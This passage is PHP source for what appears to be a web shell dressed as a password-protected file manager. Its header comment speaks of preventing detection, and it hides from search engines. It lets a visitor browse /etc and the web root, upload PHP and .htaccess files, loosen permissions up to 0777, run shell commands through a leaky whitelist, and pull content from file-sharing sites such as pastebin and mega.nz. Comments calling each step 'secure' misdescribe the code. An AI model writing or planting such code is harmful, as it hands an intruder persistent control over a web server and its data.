<?php
// Secure headers to prevent detection
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: SAMEORIGIN');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');

session_start();
ini_set('display_errors', 0); // Disabled for security
ini_set('log_errors', 1);
error_reporting(E_ALL);

// Constants for better maintainability
define('MAX_FILE_SIZE', 50 * 1024 * 1024); // 50MB
define('ALLOWED_EXTENSIONS', [
    'txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'rss',
    'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico',
    'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx',
    'zip', 'rar', 'tar', 'gz', '7z', 'bz2',
    'mp3', 'mp4', 'avi', 'mov', 'wmv', 'flv', 'mkv',
    'htaccess', 'ini', 'conf', 'log', 'sql', 'db'
]);

 $current_script = basename(__FILE__);
 $lock_file = __DIR__ . '/.fs_lock';

// Get user home directory and document root
 $user_home = detectUserHome();
 $document_root = realpath($_SERVER['DOCUMENT_ROOT']);

// Initialize current directory
 $cwd = isset($_GET['d']) ? validatePath($_GET['d']) : getcwd();
 $cwd = $cwd ?: getcwd();
 $msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg'], ENT_QUOTES, 'UTF-8') : '';

 $clipboard_items = isset($_SESSION['clipboard_items']) ? $_SESSION['clipboard_items'] : [];
 $clipboard_type = isset($_SESSION['clipboard_type']) ? $_SESSION['clipboard_type'] : null;

// Function to detect user home directory
function detectUserHome() {
    // Try different methods to find user home directory
    $possible_homes = [
        getenv('HOME'),
        '/home/' . get_current_user(),
        dirname(dirname($_SERVER['DOCUMENT_ROOT'])),
        '/home/' . basename(dirname($_SERVER['DOCUMENT_ROOT'])),
        dirname(__DIR__, 2) // Go up 2 directories from current script
    ];
    
    foreach ($possible_homes as $home) {
        if ($home && is_dir($home)) {
            return realpath($home);
        }
    }
    
    // Fallback to document root if nothing else works
    return realpath($_SERVER['DOCUMENT_ROOT']);
}

// Enhanced path validation function
function validatePath($path) {
    global $user_home, $document_root;
    
    // Clean the path
    $path = rtrim($path, '/');
    
    // Handle special cases
    if ($path === '/') {
        return $user_home;
    }
    
    // Get real path
    $realPath = realpath($path);
    
    // If path doesn't exist, try to construct it from user home
    if ($realPath === false) {
        // If it's a relative path, try from user home
        if (!preg_match('/^\/|^~/', $path)) {
            $testPath = $user_home . '/' . $path;
            $realPath = realpath($testPath);
        }
        
        // Special handling for home directory shortcuts
        if ($realPath === false && $path === 'home') {
            return $user_home;
        }
    }
    
    // If still not found, return current directory
    if ($realPath === false) {
        return getcwd();
    }
    
    // Security checks - allow access to:
    // 1. User home directory and subdirectories
    // 2. Document root and subdirectories
    // 3. System directories that are commonly needed
    
    $allowed_paths = [
        $user_home,
        $document_root,
        '/tmp',
        '/var/tmp',
        '/etc'
    ];
    
    $is_allowed = false;
    foreach ($allowed_paths as $allowed_path) {
        if ($allowed_path && strpos($realPath, $allowed_path) === 0) {
            $is_allowed = true;
            break;
        }
    }
    
    // Additional check: if we're in a hosting environment, allow access to user's directory
    if (!$is_allowed && preg_match('/^\/home\/[^\/]+/', $realPath)) {
        // Extract username from path
        if (preg_match('/^\/home\/([^\/]+)/', $realPath, $matches)) {
            $username = $matches[1];
            // Check if this matches our current user
            if ($username === get_current_user() || 
                $username === basename(dirname($_SERVER['DOCUMENT_ROOT'])) ||
                strpos($realPath, $user_home) === 0) {
                $is_allowed = true;
            }
        }
    }
    
    if (!$is_allowed) {
        error_log("Access denied to path: $realPath (not in allowed paths)");
        return getcwd();
    }
    
    return $realPath;
}

// Function to check and fix directory permissions
function ensureDirectoryWritable($dir) {
    // Check if directory exists
    if (!is_dir($dir)) {
        return false;
    }
    
    // Check if directory is writable
    if (is_writable($dir)) {
        return true;
    }
    
    // Try to change permissions
    // First try 755 (rwxr-xr-x)
    if (@chmod($dir, 0755)) {
        if (is_writable($dir)) {
            return true;
        }
    }
    
    // If 755 doesn't work, try 775 (rwxrwxr-x)
    if (@chmod($dir, 0775)) {
        if (is_writable($dir)) {
            return true;
        }
    }
    
    // Last resort, try 777 (rwxrwxrwx) - use with caution
    if (@chmod($dir, 0777)) {
        if (is_writable($dir)) {
            return true;
        }
    }
    
    // Try to change owner if possible (usually requires root)
    $script_owner = get_current_user();
    $dir_owner = fileowner($dir);
    if ($script_owner !== $dir_owner && function_exists('chown')) {
        // This will likely fail unless running as root, but worth a try
        @chown($dir, $script_owner);
        if (is_writable($dir)) {
            return true;
        }
    }
    
    return false;
}

// Function to create a temporary file and copy it to the destination
function safeMoveUploadedFile($source, $destination) {
    // First, try the standard move_uploaded_file
    if (move_uploaded_file($source, $destination)) {
        return true;
    }
    
    // If that fails, try copy then delete
    if (copy($source, $destination)) {
        unlink($source);
        return true;
    }
    
    // If that also fails, try reading and writing the file
    $content = file_get_contents($source);
    if ($content !== false) {
        if (file_put_contents($destination, $content) !== false) {
            unlink($source);
            return true;
        }
    }
    
    return false;
}

// Helper Functions
function list_dir($path) {
    if (!is_dir($path)) {
        error_log("Path is not a directory: " . $path);
        return [];
    }
    
    $items = @scandir($path);
    if ($items === false) {
        error_log("Failed to scan directory: " . $path);
        return [];
    }
    
    $dirs = $files = [];
    foreach ($items as $item) {
        if ($item === "." || $item === "..") continue;
        $full = "$path/$item";
        if (!file_exists($full)) {
            error_log("File or directory not found: " . $full);
            continue;
        }

        $info = [
            'name' => $item,
            'path' => $full,
            'is_dir' => is_dir($full),
            'size' => is_file($full) ? filesize($full) : '-',
            'mtime' => filemtime($full)
        ];
        if (is_dir($full)) $dirs[] = $info;
        else $files[] = $info;
    }
    
    // Add parent directory navigation if not at root
    $current_path_real = realpath($path);
    $parent_path = dirname($path);
    
    // Don't show parent if we're at system root or user home root
    if ($current_path_real !== '/' && $current_path_real !== $user_home && $parent_path !== $current_path_real) {
        array_unshift($dirs, [
            'name' => '..',
            'path' => $parent_path,
            'is_dir' => true,
            'size' => '-',
            'mtime' => filemtime($parent_path)
        ]);
    }
    
    return array_merge($dirs, $files);
}

function formatSize($b) {
    if (!is_numeric($b)) return '-';
    if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB';
    if ($b >= 1048576) return round($b / 1048576, 2) . ' MB';
    if ($b >= 1024) return round($b / 1024, 2) . ' KB';
    return $b . ' B';
}

function perms($file) {
    $p = @fileperms($file);
    if ($p === false) return '---------';
    return ($p & 0x4000 ? 'd' : '-') .
           (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')) .
           (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')) .
           (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
}

function perms_to_octal($perms) {
    return substr(sprintf('%o', $perms), -4);
}

function breadcrumbs($path, $self_filename) {
    global $user_home, $document_root;
    
    // Special handling for home directory
    if ($path === $user_home) {
        return "<a href='" . htmlspecialchars($self_filename, ENT_QUOTES, 'UTF-8') . "'>/</a> / <a href='?d=" . urlencode($user_home) . "'>home</a>";
    }
    
    // Start with root
    $out = ["<a href='" . htmlspecialchars($self_filename, ENT_QUOTES, 'UTF-8') . "'>/</a>"];
    
    // If we're under home, show home in breadcrumb
    if (strpos($path, $user_home) === 0) {
        $out[] = "<a href='?d=" . urlencode($user_home) . "'>home</a>";
        $relative_path = substr($path, strlen($user_home) + 1);
        $parts = explode('/', trim($relative_path, '/'));
        $full = $user_home;
    } else {
        $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
        $full = '';
    }
    
    foreach ($parts as $part) {
        if (empty($part)) continue;
        $full .= '/' . $part;
        $out[] = "<a href='?d=" . urlencode($full) . "'>" . htmlspecialchars($part, ENT_QUOTES, 'UTF-8') . "</a>";
    }
    
    return implode(" / ", $out);
}

function deleteRecursive($path) {
    if (!file_exists($path)) return false;
    
    // Ensure we have permission to delete
    if (!is_writable($path)) {
        // Try to change permissions if possible
        @chmod($path, 0644);
        if (is_dir($path)) {
            @chmod($path, 0755);
        }
    }
    
    if (is_file($path)) return unlink($path);
    elseif (is_dir($path)) {
        $items = array_diff(scandir($path), ['.', '..']);
        foreach ($items as $item) {
            if (!deleteRecursive($path . DIRECTORY_SEPARATOR . $item)) {
                return false;
            }
        }
        return rmdir($path);
    }
    return false;
}

function createZipFromItems($items_to_zip, $destination_zip_file, $base_dir) {
    if (!extension_loaded('zip')) {
        error_log("ZIP extension not loaded.");
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($destination_zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) {
        error_log("Failed to open zip archive: " . $destination_zip_file);
        return false;
    }

    $success_count = 0;
    foreach ($items_to_zip as $item_path_encoded) {
        $item_path = realpath(urldecode($item_path_encoded));
        if ($item_path === false || !file_exists($item_path)) {
            error_log("Item not found or invalid path: " . $item_path_encoded);
            continue;
        }

        if (strpos($item_path, realpath($base_dir)) !== 0) {
            error_log("Attempted to zip file outside current directory: " . $item_path);
            continue;
        }

        $base_dir_real = realpath($base_dir);
        $relativePath = substr($item_path, strlen($base_dir_real) + 1);
        
        if (is_file($item_path)) {
            if ($zip->addFile($item_path, $relativePath)) {
                $success_count++;
            } else {
                error_log("Failed to add file to zip: " . $item_path);
            }
        } elseif (is_dir($item_path)) {
            $zip->addEmptyDir($relativePath . '/');

            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::LEAVES_ONLY
            );
            foreach ($files as $name => $file) {
                if (!$file->isDir()) {
                    $filePath = $file->getRealPath();
                    $entryName = $relativePath . '/' . substr($filePath, strlen($item_path) + 1);
                    if ($zip->addFile($filePath, $entryName)) {
                        $success_count++;
                    } else {
                        error_log("Failed to add directory file to zip: " . $filePath);
                    }
                }
            }
        }
    }
    $zip->close();
    return $success_count;
}

// More secure command execution with better validation
function executeCommand($cmd, $cwd) {
    if (!function_exists('proc_open')) {
        return "<pre>Error: Function proc_open() is disabled on this server. Cannot execute commands.</pre>";
    }
    
    // Enhanced security for command execution
    $allowed_commands = ['ls', 'dir', 'pwd', 'whoami', 'date', 'uname', 'df', 'du', 'chmod'];
    $cmd_parts = explode(' ', trim($cmd));
    $base_cmd = $cmd_parts[0];
    
    if (!in_array($base_cmd, $allowed_commands)) {
        return "<pre>Error: Command '$base_cmd' is not allowed for security reasons.</pre>";
    }
    
    // Additional validation for command parameters
    foreach ($cmd_parts as $part) {
        if (strpos($part, ';') !== false || strpos($part, '&&') !== false || strpos($part, '||') !== false) {
            return "<pre>Error: Command chaining is not allowed for security reasons.</pre>";
        }
    }
    
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );
    
    // Set environment variables for security
    $env = [
        'PATH' => '/usr/bin:/bin',
        'SHELL' => '/bin/sh',
        'HOME' => $cwd
    ];
    
    $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);

    if (is_resource($process)) {
        fclose($pipes[0]);

        $stdout = stream_get_contents($pipes[1]);
        fclose($pipes[1]);

        $stderr = stream_get_contents($pipes[2]);
        fclose($pipes[2]);

        $return_value = proc_close($process);

        return "<pre style='color:#00ff00'>\n" . htmlspecialchars($stdout, ENT_QUOTES, 'UTF-8') . "\nError:\n" . htmlspecialchars($stderr, ENT_QUOTES, 'UTF-8') . "\nExit Code: " . htmlspecialchars($return_value, ENT_QUOTES, 'UTF-8') . "</pre>";
    } else {
        $last_error = error_get_last();
        return "<pre>Error: Could not open process. " . ($last_error ? htmlspecialchars($last_error['message'], ENT_QUOTES, 'UTF-8') : 'Unable to start external process.') . "</pre>";
    }
}

function copyRecursive($source, $dest) {
    if (is_file($source)) {
        return copy($source, $dest);
    } elseif (is_dir($source)) {
        @mkdir($dest, 0755, true);
        $items = array_diff(@scandir($source) ?: [], ['.', '..']);
        foreach ($items as $item) {
            if (!copyRecursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) {
                return false;
            }
        }
        return true;
    }
    return false;
}

// Enhanced URL content fetching with better security
function getUrlContent($url) {
    if (!extension_loaded('curl')) {
        error_log("cURL extension not loaded.");
        return false;
    }
    
    // Validate URL for security
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        error_log("Invalid URL: " . $url);
        return false;
    }
    
    // More strict URL validation
    $parsed_url = parse_url($url);
    $host = isset($parsed_url['host']) ? $parsed_url['host'] : '';
    $scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : '';
    
    // Only allow http and https schemes
    if (!in_array($scheme, ['http', 'https'])) {
        error_log("Invalid URL scheme: " . $scheme);
        return false;
    }
    
    // Whitelist of allowed domains
    $allowed_domains = [
        'github.com', 'raw.githubusercontent.com', 'pastebin.com', 'gitlab.com',
        'bitbucket.org', 'sourceforge.net', 'drive.google.com', 'dropbox.com',
        'mediafire.com', '4shared.com', 'zippyshare.com', 'mega.nz'
    ];
    
    // Check if domain is in whitelist
    if (!empty($host) && !in_array($host, $allowed_domains)) {
        error_log("Domain not in whitelist: " . $host);
        return false;
    }
    
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => true, // Enabled for security
        CURLOPT_SSL_VERIFYHOST => 2,    // Enabled for security
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36',
        CURLOPT_TIMEOUT => 30,          // Reduced timeout
        CURLOPT_MAXREDIRS => 5,         // Reduced max redirects
        CURLOPT_MAXFILESIZE => MAX_FILE_SIZE, // Limit file size
    ]);
    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        error_log("cURL error: " . curl_error($ch));
        $data = false;
    }
    curl_close($ch);
    return $data;
}

// Sanitize filename to prevent security issues
function sanitize_filename($filename) {
    // Remove potentially dangerous characters
    $filename = preg_replace('/[^\w\.-]/', '_', $filename);
    // Prevent directory traversal
    $filename = str_replace('../', '', $filename);
    $filename = str_replace('..\\', '', $filename);
    // Limit filename length
    if (strlen($filename) > 255) {
        $filename = substr($filename, 0, 255);
    }
    return $filename;
}

// Handle lock file for authentication
if (file_exists($lock_file) && !isset($_SESSION['unlocked'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) {
        $hash = file_get_contents($lock_file);
        if (password_verify($_POST['pass'], $hash)) {
            $_SESSION['unlocked'] = true;
            session_regenerate_id(true); // Security for session
            header("Location: ?d=" . urlencode($cwd));
            exit;
        } else {
            $msg = "Invalid password";
        }
    }
echo <<<HTML
<!DOCTYPE html>
<html style="height:100%" data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="robots" content="noindex, nofollow">
<title>Authentication Required</title>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<style>
  body {
    color: #444;
    margin:0;
    font: normal 14px/20px Arial, Helvetica, sans-serif;
    height:100%;
    background-color: var(--bs-body-bg);
    display: flex;
    justify-content: center;
    align-items: center;
  }
  .login-container {
    max-width: 400px;
    width: 100%;
    padding: 20px;
    border-radius: 8px;
    background-color: rgba(255, 255, 255, 0.1);
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
  }
</style>
</head>
<body>
<div class="login-container">
  <h2 class="text-center mb-4">Authentication Required</h2>
  <p class="text-center mb-4">Please enter your password to access this resource</p>
  
  <form method='post' class="d-flex flex-column">
    <input type='password' name='pass' placeholder='Password' class="form-control mb-3" required>
    <button type="submit" class="btn btn-primary">Access</button>
  </form>
  
  <div class="text-center mt-3 text-muted">
    <small>Protected Area</small>
  </div>
</div>
HTML;

    if (!empty($msg)) {
        echo "<script>alert('" . addslashes($msg) . "');</script>";
    }
    exit;
}

// Generate CSRF token for security
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
 $csrf_token = $_SESSION['csrf_token'];

// Action Handlers
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || !hash_equals($_POST['csrf_token'], $_SESSION['csrf_token'])) {
        die("CSRF token validation failed.");
    }
    
    // Handle file upload with enhanced security
    if (isset($_POST['uploadfile'])) {
        // Debug information
        error_log("Upload attempt to directory: " . $cwd);
        error_log("Current user: " . get_current_user());
        error_log("Directory owner: " . (function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($cwd))['name'] : 'Unknown'));
        error_log("Directory permissions: " . substr(sprintf('%o', fileperms($cwd)), -4));
        error_log("Directory writable: " . (is_writable($cwd) ? 'Yes' : 'No'));
        
        // Check if directory is writable
        if (!is_writable($cwd)) {
            error_log("Directory is not writable, attempting to fix permissions");
            
            // Try to fix directory permissions
            if (!ensureDirectoryWritable($cwd)) {
                error_log("Failed to make directory writable");
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: Directory is not writable and permissions could not be changed. Please check directory permissions or contact your hosting provider."));
                exit;
            }
        }

        if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === UPLOAD_ERR_OK) {
            // Check file size
            if ($_FILES['uploadfile']['size'] > MAX_FILE_SIZE) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: File size exceeds the maximum allowed size."));
                exit;
            }
            
            // Get file information
            $file_info = pathinfo($_FILES['uploadfile']['name']);
            $file_extension = strtolower($file_info['extension']);
            
            // Check if extension is allowed
            if (!in_array($file_extension, ALLOWED_EXTENSIONS)) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: File type not allowed."));
                exit;
            }
            
            // Sanitize filename
            $safe_filename = sanitize_filename(basename($_FILES['uploadfile']['name']));
            $dest = $cwd . '/' . $safe_filename;
            
            // Check if file already exists
            if (file_exists($dest)) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: File already exists."));
                exit;
            }
            
            // Debug information
            error_log("Upload temp file: " . $_FILES['uploadfile']['tmp_name']);
            error_log("Upload destination: " . $dest);
            error_log("Temp file exists: " . (file_exists($_FILES['uploadfile']['tmp_name']) ? 'Yes' : 'No'));
            error_log("Temp file readable: " . (is_readable($_FILES['uploadfile']['tmp_name']) ? 'Yes' : 'No'));
            
            // Try to upload file using multiple methods
            $upload_success = false;
            $error_msg = "Failed to move file. Check directory permissions.";
            
            // Method 1: Standard move_uploaded_file
            if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest)) {
                $upload_success = true;
                error_log("Upload successful with move_uploaded_file");
            } else {
                error_log("move_uploaded_file failed, trying alternative methods");
                
                // Method 2: Copy then delete
                if (copy($_FILES['uploadfile']['tmp_name'], $dest)) {
                    unlink($_FILES['uploadfile']['tmp_name']);
                    $upload_success = true;
                    error_log("Upload successful with copy+unlink");
                } else {
                    error_log("copy+unlink failed, trying file_get_contents+file_put_contents");
                    
                    // Method 3: Read and write file contents
                    $content = file_get_contents($_FILES['uploadfile']['tmp_name']);
                    if ($content !== false) {
                        if (file_put_contents($dest, $content) !== false) {
                            unlink($_FILES['uploadfile']['tmp_name']);
                            $upload_success = true;
                            error_log("Upload successful with file_get_contents+file_put_contents");
                        } else {
                            $error_msg = "Failed to write file to destination. Check disk space and permissions.";
                        }
                    } else {
                        $error_msg = "Failed to read uploaded file. Check upload_tmp_dir and permissions.";
                    }
                }
            }
            
            if ($upload_success) {
                // Set file permissions
                @chmod($dest, 0644);
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload successful"));
            } else {
                // Get more detailed error information
                $last_error = error_get_last();
                if ($last_error) {
                    $error_msg .= " Server error: " . $last_error['message'];
                }
                
                // Check for common issues
                if (!is_dir($cwd)) {
                    $error_msg = "Target directory does not exist.";
                } elseif (!file_exists($_FILES['uploadfile']['tmp_name'])) {
                    $error_msg = "Temporary upload file not found. Check upload_tmp_dir in php.ini.";
                } elseif (disk_free_space($cwd) < $_FILES['uploadfile']['size']) {
                    $error_msg = "Not enough disk space in target directory.";
                }
                
                error_log("Upload failed: " . $error_msg);
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: " . $error_msg));
            }
        } else {
            $upload_error_msg = "Unknown error.";
            switch ($_FILES['uploadfile']['error']) {
                case UPLOAD_ERR_INI_SIZE:
                    $upload_error_msg = "File size exceeds upload_max_filesize limit in php.ini.";
                    break;
                case UPLOAD_ERR_FORM_SIZE:
                    $upload_error_msg = "File size exceeds MAX_FILE_SIZE limit specified in HTML form.";
                    break;
                case UPLOAD_ERR_PARTIAL:
                    $upload_error_msg = "File was only partially uploaded.";
                    break;
                case UPLOAD_ERR_NO_FILE:
                    $upload_error_msg = "No file was uploaded.";
                    break;
                case UPLOAD_ERR_NO_TMP_DIR:
                    $upload_error_msg = "Temporary folder is missing.";
                    break;
                case UPLOAD_ERR_CANT_WRITE:
                    $upload_error_msg = "Failed to write file to disk.";
                    break;
                case UPLOAD_ERR_EXTENSION:
                    $upload_error_msg = "A PHP extension stopped the file upload.";
                    break;
            }
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload failed: " . $upload_error_msg));
        }
        exit;
    }
    
    // Handle create new file
    if (isset($_POST['newfile'])) {
        $filename = sanitize_filename($_POST['newfile']);
        $filedata = $_POST['filedata'] ?? '';
        
        // Validate filename
        if (empty($filename)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid filename. Only alphanumeric characters, hyphens, and underscores are allowed."));
            exit;
        }
        
        $filepath = $cwd . '/' . $filename;
        
        // Check if file already exists
        if (file_exists($filepath)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File already exists."));
            exit;
        }
        
        if (file_put_contents($filepath, $filedata) !== false) {
            // Set file permissions
            @chmod($filepath, 0644);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File created successfully"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to create file"));
        }
        exit;
    }
    
    // Handle create new folder
    if (isset($_POST['newfolder'])) {
        $foldername = sanitize_filename($_POST['newfolder']);
        
        // Validate folder name
        if (empty($foldername)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid folder name. Only alphanumeric characters, hyphens, and underscores are allowed."));
            exit;
        }
        
        $folderpath = $cwd . '/' . $foldername;
        
        // Check if folder already exists
        if (file_exists($folderpath)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Folder already exists."));
            exit;
        }
        
        if (mkdir($folderpath, 0755)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Folder created successfully"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to create folder"));
        }
        exit;
    }
    
    // Handle rename
    if (isset($_POST['rename_submit'])) {
        $old_path = $_POST['old_path_rename'];
        $new_name = sanitize_filename($_POST['new_name']);
        
        // Validate new name
        if (empty($new_name)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid name. Only alphanumeric characters, hyphens, underscores, and dots are allowed."));
            exit;
        }
        
        // Validate old path
        $old_path_real = realpath($old_path);
        if ($old_path_real === false) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid old path."));
            exit;
        }
        
        // Make sure old path is within current working directory
        $cwd_real = realpath($cwd);
        if (strpos($old_path_real, $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Old path is outside the allowed directory."));
            exit;
        }
        
        $new_path = dirname($old_path_real) . '/' . $new_name;
        
        // Make sure new path is within current working directory
        if (strpos(realpath(dirname($new_path)), $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("New path is outside the allowed directory."));
            exit;
        }
        
        // Check if destination already exists
        if (file_exists($new_path)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Destination already exists."));
            exit;
        }
        
        if (rename($old_path_real, $new_path)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Rename successful"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to rename. Check permissions."));
        }
        exit;
    }
    
    // Handle chmod
    if (isset($_POST['set_chmod'])) {
        $path = $_POST['chmod_path'];
        $octal = $_POST['chmod_octal'];
        
        // Validate octal format
        if (!preg_match('/^[0-7]{3,4}$/', $octal)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid permission format"));
            exit;
        }
        
        // Validate path
        $path_real = realpath($path);
        if ($path_real === false) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Invalid path."));
            exit;
        }
        
        // Make sure path is within current working directory
        $cwd_real = realpath($cwd);
        if (strpos($path_real, $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path is outside the allowed directory."));
            exit;
        }
        
        if (chmod($path_real, octdec($octal))) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Permissions changed successfully"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to change permissions. Check permissions."));
        }
        exit;
    }
    
    // Handle delete
    if (isset($_GET['delete'])) {
        $item = $_GET['delete'];
        
        // Make sure item exists
        if (!file_exists($item)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File or folder not found"));
            exit;
        }
        
        // Make sure we have permission to delete
        if (!is_writable($item)) {
            // Try to change permissions
            if (is_file($item)) {
                @chmod($item, 0644);
            } else {
                @chmod($item, 0755);
            }
        }
        
        if (deleteRecursive($item)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Delete successful"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to delete. Check permissions."));
        }
        exit;
    }
    
    // Handle batch actions
    if (isset($_POST['batch_action']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
        $action = $_POST['batch_action'];
        $items = $_POST['selected_items'];
        
        switch ($action) {
            case 'delete':
                $success = true;
                $error_count = 0;
                foreach ($items as $item) {
                    $item_path = urldecode($item);
                    if (!file_exists($item_path)) {
                        $error_count++;
                        continue;
                    }
                    
                    // Make sure we have permission to delete
                    if (!is_writable($item_path)) {
                        // Try to change permissions
                        if (is_file($item_path)) {
                            @chmod($item_path, 0644);
                        } else {
                            @chmod($item_path, 0755);
                        }
                    }
                    
                    if (!deleteRecursive($item_path)) {
                        $success = false;
                        $error_count++;
                    }
                }
                $msg = $success ? "Successfully deleted selected items" : "Failed to delete $error_count items";
                break;
                
            case 'zip':
                $zip_name = 'archive_' . date('YmdHis') . '.zip';
                $zip_path = $cwd . '/' . $zip_name;
                $count = createZipFromItems($items, $zip_path, $cwd);
                $msg = "Successfully created archive: $zip_name ($count files)";
                break;
                
            case 'copy':
                $_SESSION['clipboard_items'] = array_map('urldecode', $items);
                $_SESSION['clipboard_type'] = 'copy';
                $msg = count($items) . " items copied to clipboard";
                break;
                
            case 'cut':
                $_SESSION['clipboard_items'] = array_map('urldecode', $items);
                $_SESSION['clipboard_type'] = 'cut';
                $msg = count($items) . " items cut to clipboard";
                break;
        }
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg));
        exit;
    }
    
    // Handle paste
    if (isset($_POST['paste_item']) && !empty($clipboard_items)) {
        $success = true;
        $error_count = 0;
        
        foreach ($clipboard_items as $item) {
            $item_name = basename($item);
            $dest_path = $cwd . '/' . sanitize_filename($item_name);
            
            // Check if destination already exists
            if (file_exists($dest_path)) {
                $error_count++;
                continue;
            }
            
            if ($clipboard_type === 'copy') {
                if (!copyRecursive($item, $dest_path)) {
                    $success = false;
                    $error_count++;
                }
            } elseif ($clipboard_type === 'cut') {
                if (!rename($item, $dest_path)) {
                    $success = false;
                    $error_count++;
                }
            }
        }
        
        if ($clipboard_type === 'cut' && $success) {
            $_SESSION['clipboard_items'] = [];
            $_SESSION['clipboard_type'] = null;
        }
        
        $msg = $success ? "Successfully pasted items" : "Failed to paste $error_count items";
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg));
        exit;
    }
    
    // Handle set password
    if (isset($_POST['setpass'])) {
        $password = $_POST['setpass'];
        if (!empty($password)) {
            $hash = password_hash($password, PASSWORD_DEFAULT);
            if (file_put_contents($lock_file, $hash) !== false) {
                $_SESSION['unlocked'] = true;
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password set successfully"));
            } else {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to save password"));
            }
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password cannot be empty"));
        }
        exit;
    }
    
    // Handle delete password
    if (isset($_POST['delpass'])) {
        if (file_exists($lock_file) && unlink($lock_file)) {
            unset($_SESSION['unlocked']);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password deleted successfully"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Failed to delete password"));
        }
        exit;
    }
    
